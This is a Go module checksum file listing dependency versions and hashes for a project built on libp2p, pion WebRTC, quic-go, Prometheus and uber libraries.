github.com/dunglas/httpsfv v1.1.0 h1:Jw76nAyKWKZKFrpMMcL76y35tOpYHqQPzHQiwDvpe54=
|
||||
github.com/dunglas/httpsfv v1.1.0/go.mod h1:zID2mqw9mFsnt7YC3vYQ9/cjq30q41W+1AnDwH8TiMg=
|
||||
github.com/flynn/noise v1.1.0 h1:KjPQoQCEFdZDiP03phOvGi11+SVVhBG2wOWAorLsstg=
|
||||
github.com/flynn/noise v1.1.0/go.mod h1:xbMo+0i6+IGbYdJhF31t2eR1BIU0CYc12+BNAKwUTag=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
|
||||
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
|
||||
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
github.com/huin/goupnp v1.3.0 h1:UvLUlWDNpoUdYzb2TCn+MuTWtcjXKSza2n6CBdQ0xXc=
|
||||
github.com/huin/goupnp v1.3.0/go.mod h1:gnGPsThkYa7bFi/KWmEysQRf48l2dvR5bxr2OFckNX8=
|
||||
github.com/ipfs/go-cid v0.5.0 h1:goEKKhaGm0ul11IHA7I6p1GmKz8kEYniqFopaB5Otwg=
|
||||
github.com/ipfs/go-cid v0.5.0/go.mod h1:0L7vmeNXpQpUS9vt+yEARkJ8rOg43DF3iPgn4GIN0mk=
|
||||
github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7BdWus=
|
||||
github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc=
|
||||
github.com/jbenet/go-temp-err-catcher v0.1.0 h1:zpb3ZH6wIE8Shj2sKS+khgRvf7T7RABoLk/+KKHggpk=
|
||||
github.com/jbenet/go-temp-err-catcher v0.1.0/go.mod h1:0kJRvmDZXNMIiJirNPEYfhpPwbGVtZVWC34vc5WLsDk=
|
||||
github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE=
|
||||
github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
|
||||
github.com/koron/go-ssdp v0.0.6 h1:Jb0h04599eq/CY7rB5YEqPS83HmRfHP2azkxMN2rFtU=
|
||||
github.com/koron/go-ssdp v0.0.6/go.mod h1:0R9LfRJGek1zWTjN3JUNlm5INCDYGpRDfAptnct63fI=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/libp2p/go-buffer-pool v0.1.0 h1:oK4mSFcQz7cTQIfqbe4MIj9gLW+mnanjyFtc6cdF0Y8=
|
||||
github.com/libp2p/go-buffer-pool v0.1.0/go.mod h1:N+vh8gMqimBzdKkSMVuydVDq+UV5QTWy5HSiZacSbPg=
|
||||
github.com/libp2p/go-flow-metrics v0.2.0 h1:EIZzjmeOE6c8Dav0sNv35vhZxATIXWZg6j/C08XmmDw=
|
||||
github.com/libp2p/go-flow-metrics v0.2.0/go.mod h1:st3qqfu8+pMfh+9Mzqb2GTiwrAGjIPszEjZmtksN8Jc=
|
||||
github.com/libp2p/go-libp2p v0.48.0 h1:h2BrLAgrj7X8bEN05K7qmrjpNHYA+6tnsGRdprjTnvo=
|
||||
github.com/libp2p/go-libp2p v0.48.0/go.mod h1:Q1fBZNdmC2Hf82husCTfkKJVfHm2we5zk+NWmOGEmWk=
|
||||
github.com/libp2p/go-libp2p-asn-util v0.4.1 h1:xqL7++IKD9TBFMgnLPZR6/6iYhawHKHl950SO9L6n94=
|
||||
github.com/libp2p/go-libp2p-asn-util v0.4.1/go.mod h1:d/NI6XZ9qxw67b4e+NgpQexCIiFYJjErASrYW4PFDN8=
|
||||
github.com/libp2p/go-libp2p-testing v0.12.0 h1:EPvBb4kKMWO29qP4mZGyhVzUyR25dvfUIK5WDu6iPUA=
|
||||
github.com/libp2p/go-libp2p-testing v0.12.0/go.mod h1:KcGDRXyN7sQCllucn1cOOS+Dmm7ujhfEyXQL5lvkcPg=
|
||||
github.com/libp2p/go-msgio v0.3.0 h1:mf3Z8B1xcFN314sWX+2vOTShIE0Mmn2TXn3YCUQGNj0=
|
||||
github.com/libp2p/go-msgio v0.3.0/go.mod h1:nyRM819GmVaF9LX3l03RMh10QdOroF++NBbxAb0mmDM=
|
||||
github.com/libp2p/go-netroute v0.4.0 h1:sZZx9hyANYUx9PZyqcgE/E1GUG3iEtTZHUEvdtXT7/Q=
|
||||
github.com/libp2p/go-netroute v0.4.0/go.mod h1:Nkd5ShYgSMS5MUKy/MU2T57xFoOKvvLR92Lic48LEyA=
|
||||
github.com/libp2p/go-reuseport v0.4.0 h1:nR5KU7hD0WxXCJbmw7r2rhRYruNRl2koHw8fQscQm2s=
|
||||
github.com/libp2p/go-reuseport v0.4.0/go.mod h1:ZtI03j/wO5hZVDFo2jKywN6bYKWLOy8Se6DrI2E1cLU=
|
||||
github.com/libp2p/go-yamux/v5 v5.0.1 h1:f0WoX/bEF2E8SbE4c/k1Mo+/9z0O4oC/hWEA+nfYRSg=
|
||||
github.com/libp2p/go-yamux/v5 v5.0.1/go.mod h1:en+3cdX51U0ZslwRdRLrvQsdayFt3TSUKvBGErzpWbU=
|
||||
github.com/libp2p/zeroconf/v2 v2.2.0 h1:Cup06Jv6u81HLhIj1KasuNM/RHHrJ8T7wOTS4+Tv53Q=
|
||||
github.com/libp2p/zeroconf/v2 v2.2.0/go.mod h1:fuJqLnUwZTshS3U/bMRJ3+ow/v9oid1n0DmyYyNO1Xs=
|
||||
github.com/marcopolo/simnet v0.0.4 h1:50Kx4hS9kFGSRIbrt9xUS3NJX33EyPqHVmpXvaKLqrY=
|
||||
github.com/marcopolo/simnet v0.0.4/go.mod h1:tfQF1u2DmaB6WHODMtQaLtClEf3a296CKQLq5gAsIS0=
|
||||
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd h1:br0buuQ854V8u83wA0rVZ8ttrq5CpaPZdvrK0LP2lOk=
|
||||
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd/go.mod h1:QuCEs1Nt24+FYQEqAAncTDPJIuGs+LxK1MCiFL25pMU=
|
||||
github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
|
||||
github.com/miekg/dns v1.1.66 h1:FeZXOS3VCVsKnEAd+wBkjMC3D2K+ww66Cq3VnCINuJE=
|
||||
github.com/miekg/dns v1.1.66/go.mod h1:jGFzBsSNbJw6z1HYut1RKBKHA9PBdxeHrZG8J+gC2WE=
|
||||
github.com/mikioh/tcp v0.0.0-20190314235350-803a9b46060c h1:bzE/A84HN25pxAuk9Eej1Kz9OUelF97nAc82bDquQI8=
|
||||
github.com/mikioh/tcp v0.0.0-20190314235350-803a9b46060c/go.mod h1:0SQS9kMwD2VsyFEB++InYyBJroV/FRmBgcydeSUcJms=
|
||||
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b h1:z78hV3sbSMAUoyUMM0I83AUIT6Hu17AWfgjzIbtrYFc=
|
||||
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b/go.mod h1:lxPUiZwKoFL8DUUmalo2yJJUCxbPKtm8OKfqr2/FTNU=
|
||||
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc h1:PTfri+PuQmWDqERdnNMiD9ZejrlswWrCpBEZgWOiTrc=
|
||||
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc/go.mod h1:cGKTAVKx4SxOuR/czcZ/E2RSJ3sfHs8FpHhQ5CWMf9s=
|
||||
github.com/minio/blake2b-simd v0.0.0-20160723061019-3f5f724cb5b1/go.mod h1:pD8RvIylQ358TN4wwqatJ8rNavkEINozVn9DtGI3dfQ=
|
||||
github.com/minio/sha256-simd v0.1.1-0.20190913151208-6de447530771/go.mod h1:B5e1o+1/KgNmWrSQK08Y6Z1Vb5pwIktudl0J58iy0KM=
|
||||
github.com/minio/sha256-simd v1.0.1 h1:6kaan5IFmwTNynnKKpDHe6FWHohJOHhCPchzK49dzMM=
|
||||
github.com/minio/sha256-simd v1.0.1/go.mod h1:Pz6AKMiUdngCLpeTL/RJY1M9rUuPMYujV5xJjtbRSN8=
|
||||
github.com/mr-tron/base58 v1.1.2/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
|
||||
github.com/mr-tron/base58 v1.2.0 h1:T/HDJBh4ZCPbU39/+c3rRvE0uKBQlU27+QI8LJ4t64o=
|
||||
github.com/mr-tron/base58 v1.2.0/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
|
||||
github.com/multiformats/go-base32 v0.1.0 h1:pVx9xoSPqEIQG8o+UbAe7DNi51oej1NtK+aGkbLYxPE=
|
||||
github.com/multiformats/go-base32 v0.1.0/go.mod h1:Kj3tFY6zNr+ABYMqeUNeGvkIC/UYgtWibDcT0rExnbI=
|
||||
github.com/multiformats/go-base36 v0.2.0 h1:lFsAbNOGeKtuKozrtBsAkSVhv1p9D0/qedU9rQyccr0=
|
||||
github.com/multiformats/go-base36 v0.2.0/go.mod h1:qvnKE++v+2MWCfePClUEjE78Z7P2a1UV0xHgWc0hkp4=
|
||||
github.com/multiformats/go-multiaddr v0.1.1/go.mod h1:aMKBKNEYmzmDmxfX88/vz+J5IU55txyt0p4aiWVohjo=
|
||||
github.com/multiformats/go-multiaddr v0.16.0 h1:oGWEVKioVQcdIOBlYM8BH1rZDWOGJSqr9/BKl6zQ4qc=
|
||||
github.com/multiformats/go-multiaddr v0.16.0/go.mod h1:JSVUmXDjsVFiW7RjIFMP7+Ev+h1DTbiJgVeTV/tcmP0=
|
||||
github.com/multiformats/go-multiaddr-dns v0.4.1 h1:whi/uCLbDS3mSEUMb1MsoT4uzUeZB0N32yzufqS0i5M=
|
||||
github.com/multiformats/go-multiaddr-dns v0.4.1/go.mod h1:7hfthtB4E4pQwirrz+J0CcDUfbWzTqEzVyYKKIKpgkc=
|
||||
github.com/multiformats/go-multiaddr-fmt v0.1.0 h1:WLEFClPycPkp4fnIzoFoV9FVd49/eQsuaL3/CWe167E=
|
||||
github.com/multiformats/go-multiaddr-fmt v0.1.0/go.mod h1:hGtDIW4PU4BqJ50gW2quDuPVjyWNZxToGUh/HwTZYJo=
|
||||
github.com/multiformats/go-multibase v0.2.0 h1:isdYCVLvksgWlMW9OZRYJEa9pZETFivncJHmHnnd87g=
|
||||
github.com/multiformats/go-multibase v0.2.0/go.mod h1:bFBZX4lKCA/2lyOFSAoKH5SS6oPyjtnzK/XTFDPkNuk=
|
||||
github.com/multiformats/go-multicodec v0.9.1 h1:x/Fuxr7ZuR4jJV4Os5g444F7xC4XmyUaT/FWtE+9Zjo=
|
||||
github.com/multiformats/go-multicodec v0.9.1/go.mod h1:LLWNMtyV5ithSBUo3vFIMaeDy+h3EbkMTek1m+Fybbo=
|
||||
github.com/multiformats/go-multihash v0.0.8/go.mod h1:YSLudS+Pi8NHE7o6tb3D8vrpKa63epEDmG8nTduyAew=
|
||||
github.com/multiformats/go-multihash v0.2.3 h1:7Lyc8XfX/IY2jWb/gI7JP+o7JEq9hOa7BFvVU9RSh+U=
|
||||
github.com/multiformats/go-multihash v0.2.3/go.mod h1:dXgKXCXjBzdscBLk9JkjINiEsCKRVch90MdaGiKsvSM=
|
||||
github.com/multiformats/go-multistream v0.6.1 h1:4aoX5v6T+yWmc2raBHsTvzmFhOI8WVOer28DeBBEYdQ=
|
||||
github.com/multiformats/go-multistream v0.6.1/go.mod h1:ksQf6kqHAb6zIsyw7Zm+gAuVo57Qbq84E27YlYqavqw=
|
||||
github.com/multiformats/go-varint v0.0.7 h1:sWSGR+f/eu5ABZA2ZpYKBILXTTs9JWpdEM/nEGOHFS8=
|
||||
github.com/multiformats/go-varint v0.0.7/go.mod h1:r8PUYw/fD/SjBCiKOoDlGF6QawOELpZAu9eioSos/OU=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
|
||||
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 h1:onHthvaw9LFnH4t2DcNVpwGmV9E1BkGknEliJkfwQj0=
|
||||
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58/go.mod h1:DXv8WO4yhMYhSNPKjeNKa5WY9YCIEBRbNzFFPJbWO6Y=
|
||||
github.com/pion/datachannel v1.5.10 h1:ly0Q26K1i6ZkGf42W7D4hQYR90pZwzFOjTq5AuCKk4o=
|
||||
github.com/pion/datachannel v1.5.10/go.mod h1:p/jJfC9arb29W7WrxyKbepTU20CFgyx5oLo8Rs4Py/M=
|
||||
github.com/pion/dtls/v3 v3.1.2 h1:gqEdOUXLtCGW+afsBLO0LtDD8GnuBBjEy6HRtyofZTc=
|
||||
github.com/pion/dtls/v3 v3.1.2/go.mod h1:Hw/igcX4pdY69z1Hgv5x7wJFrUkdgHwAn/Q/uo7YHRo=
|
||||
github.com/pion/ice/v4 v4.0.10 h1:P59w1iauC/wPk9PdY8Vjl4fOFL5B+USq1+xbDcN6gT4=
|
||||
github.com/pion/ice/v4 v4.0.10/go.mod h1:y3M18aPhIxLlcO/4dn9X8LzLLSma84cx6emMSu14FGw=
|
||||
github.com/pion/interceptor v0.1.40 h1:e0BjnPcGpr2CFQgKhrQisBU7V3GXK6wrfYrGYaU6Jq4=
|
||||
github.com/pion/interceptor v0.1.40/go.mod h1:Z6kqH7M/FYirg3frjGJ21VLSRJGBXB/KqaTIrdqnOic=
|
||||
github.com/pion/logging v0.2.4 h1:tTew+7cmQ+Mc1pTBLKH2puKsOvhm32dROumOZ655zB8=
|
||||
github.com/pion/logging v0.2.4/go.mod h1:DffhXTKYdNZU+KtJ5pyQDjvOAh/GsNSyv1lbkFbe3so=
|
||||
github.com/pion/mdns/v2 v2.0.7 h1:c9kM8ewCgjslaAmicYMFQIde2H9/lrZpjBkN8VwoVtM=
|
||||
github.com/pion/mdns/v2 v2.0.7/go.mod h1:vAdSYNAT0Jy3Ru0zl2YiW3Rm/fJCwIeM0nToenfOJKA=
|
||||
github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA=
|
||||
github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8=
|
||||
github.com/pion/rtcp v1.2.16 h1:fk1B1dNW4hsI78XUCljZJlC4kZOPk67mNRuQ0fcEkSo=
|
||||
github.com/pion/rtcp v1.2.16/go.mod h1:/as7VKfYbs5NIb4h6muQ35kQF/J0ZVNz2Z3xKoCBYOo=
|
||||
github.com/pion/rtp v1.8.19 h1:jhdO/3XhL/aKm/wARFVmvTfq0lC/CvN1xwYKmduly3c=
|
||||
github.com/pion/rtp v1.8.19/go.mod h1:bAu2UFKScgzyFqvUKmbvzSdPr+NGbZtv6UB2hesqXBk=
|
||||
github.com/pion/sctp v1.8.39 h1:PJma40vRHa3UTO3C4MyeJDQ+KIobVYRZQZ0Nt7SjQnE=
|
||||
github.com/pion/sctp v1.8.39/go.mod h1:cNiLdchXra8fHQwmIoqw0MbLLMs+f7uQ+dGMG2gWebE=
|
||||
github.com/pion/sdp/v3 v3.0.18 h1:l0bAXazKHpepazVdp+tPYnrsy9dfh7ZbT8DxesH5ZnI=
|
||||
github.com/pion/sdp/v3 v3.0.18/go.mod h1:ZREGo6A9ZygQ9XkqAj5xYCQtQpif0i6Pa81HOiAdqQ8=
|
||||
github.com/pion/srtp/v3 v3.0.6 h1:E2gyj1f5X10sB/qILUGIkL4C2CqK269Xq167PbGCc/4=
|
||||
github.com/pion/srtp/v3 v3.0.6/go.mod h1:BxvziG3v/armJHAaJ87euvkhHqWe9I7iiOy50K2QkhY=
|
||||
github.com/pion/stun/v3 v3.1.1 h1:CkQxveJ4xGQjulGSROXbXq94TAWu8gIX2dT+ePhUkqw=
|
||||
github.com/pion/stun/v3 v3.1.1/go.mod h1:qC1DfmcCTQjl9PBaMa5wSn3x9IPmKxSdcCsxBcDBndM=
|
||||
github.com/pion/transport/v3 v3.0.7 h1:iRbMH05BzSNwhILHoBoAPxoB9xQgOaJk+591KC9P1o0=
|
||||
github.com/pion/transport/v3 v3.0.7/go.mod h1:YleKiTZ4vqNxVwh77Z0zytYi7rXHl7j6uPLGhhz9rwo=
|
||||
github.com/pion/transport/v4 v4.0.1 h1:sdROELU6BZ63Ab7FrOLn13M6YdJLY20wldXW2Cu2k8o=
|
||||
github.com/pion/transport/v4 v4.0.1/go.mod h1:nEuEA4AD5lPdcIegQDpVLgNoDGreqM/YqmEx3ovP4jM=
|
||||
github.com/pion/turn/v4 v4.0.2 h1:ZqgQ3+MjP32ug30xAbD6Mn+/K4Sxi3SdNOTFf+7mpps=
|
||||
github.com/pion/turn/v4 v4.0.2/go.mod h1:pMMKP/ieNAG/fN5cZiN4SDuyKsXtNTr0ccN7IToA1zs=
|
||||
github.com/pion/webrtc/v4 v4.1.2 h1:mpuUo/EJ1zMNKGE79fAdYNFZBX790KE7kQQpLMjjR54=
|
||||
github.com/pion/webrtc/v4 v4.1.2/go.mod h1:xsCXiNAmMEjIdFxAYU0MbB3RwRieJsegSB2JZsGN+8U=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_golang v1.22.0 h1:rb93p9lokFEsctTys46VnV1kLCDpVZ0a/Y92Vm0Zc6Q=
|
||||
github.com/prometheus/client_golang v1.22.0/go.mod h1:R7ljNsLXhuQXYZYtw6GAE9AZg8Y7vEW5scdCXrWRXC0=
|
||||
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
|
||||
github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
|
||||
github.com/prometheus/common v0.64.0 h1:pdZeA+g617P7oGv1CzdTzyeShxAGrTBsolKNOLQPGO4=
|
||||
github.com/prometheus/common v0.64.0/go.mod h1:0gZns+BLRQ3V6NdaerOhMbwwRbNh9hkGINtQAsP5GS8=
|
||||
github.com/prometheus/procfs v0.16.1 h1:hZ15bTNuirocR6u0JZ6BAHHmwS1p8B4P6MRqxtzMyRg=
|
||||
github.com/prometheus/procfs v0.16.1/go.mod h1:teAbpZRB1iIAJYREa1LsoWUXykVXA1KlTmWl8x/U+Is=
|
||||
github.com/quic-go/qpack v0.6.0 h1:g7W+BMYynC1LbYLSqRt8PBg5Tgwxn214ZZR34VIOjz8=
|
||||
github.com/quic-go/qpack v0.6.0/go.mod h1:lUpLKChi8njB4ty2bFLX2x4gzDqXwUpaO1DP9qMDZII=
|
||||
github.com/quic-go/quic-go v0.59.0 h1:OLJkp1Mlm/aS7dpKgTc6cnpynnD2Xg7C1pwL6vy/SAw=
|
||||
github.com/quic-go/quic-go v0.59.0/go.mod h1:upnsH4Ju1YkqpLXC305eW3yDZ4NfnNbmQRCMWS58IKU=
|
||||
github.com/quic-go/webtransport-go v0.10.0 h1:LqXXPOXuETY5Xe8ITdGisBzTYmUOy5eSj+9n4hLTjHI=
|
||||
github.com/quic-go/webtransport-go v0.10.0/go.mod h1:LeGIXr5BQKE3UsynwVBeQrU1TPrbh73MGoC6jd+V7ow=
|
||||
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
|
||||
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
|
||||
github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI=
|
||||
github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU=
|
||||
github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
|
||||
go.uber.org/dig v1.19.0 h1:BACLhebsYdpQ7IROQ1AGPjrXcP5dF80U3gKoFzbaq/4=
|
||||
go.uber.org/dig v1.19.0/go.mod h1:Us0rSJiThwCv2GteUN0Q7OKvU7n5J4dxZ9JKUXozFdE=
|
||||
go.uber.org/fx v1.24.0 h1:wE8mruvpg2kiiL1Vqd0CC+tr0/24XIB10Iwp2lLWzkg=
|
||||
go.uber.org/fx v1.24.0/go.mod h1:AmDeGyS+ZARGKM4tlH4FY2Jr63VjbEDJHtqXTGP5hbo=
|
||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||
go.uber.org/mock v0.5.2 h1:LbtPTcP8A5k9WPXj54PPPbjcI4Y6lhyOZXn+VS7wNko=
|
||||
go.uber.org/mock v0.5.2/go.mod h1:wLlUxC2vVTPTaE3UD51E0BGOAElKrILxhVSDYQLld5o=
|
||||
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
|
||||
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
|
||||
go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8=
|
||||
go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200602180216-279210d13fed/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
|
||||
golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=
|
||||
golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=
|
||||
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 h1:bsqhLWFR6G6xiQcb+JoGqdKdRU6WzPWmK8E0jxTjzo4=
|
||||
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476/go.mod h1:3//PLf8L/X+8b4vuAfHzxeRUl04Adcb341+IGKfnqS8=
|
||||
golang.org/x/mod v0.32.0 h1:9F4d3PHLljb6x//jOyokMv3eX+YDeepZSEo3mFJy93c=
|
||||
golang.org/x/mod v0.32.0/go.mod h1:SgipZ/3h2Ci89DlEtEXWUk/HteuRin+HHhN+WbNhguU=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210423184538-5f58ad60dda6/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk=
|
||||
golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60=
|
||||
golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
|
||||
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200602225109-6fdc65e7d980/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210426080607-c94f62235c83/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
|
||||
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2 h1:O1cMQHRfwNpDfDJerqRoE2oD+AFlyid87D40L/OkkJo=
|
||||
golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2/go.mod h1:b7fPSJ0pKZ3ccUh8gnTONJxhn3c/PS6tyzQvyqw4iA8=
|
||||
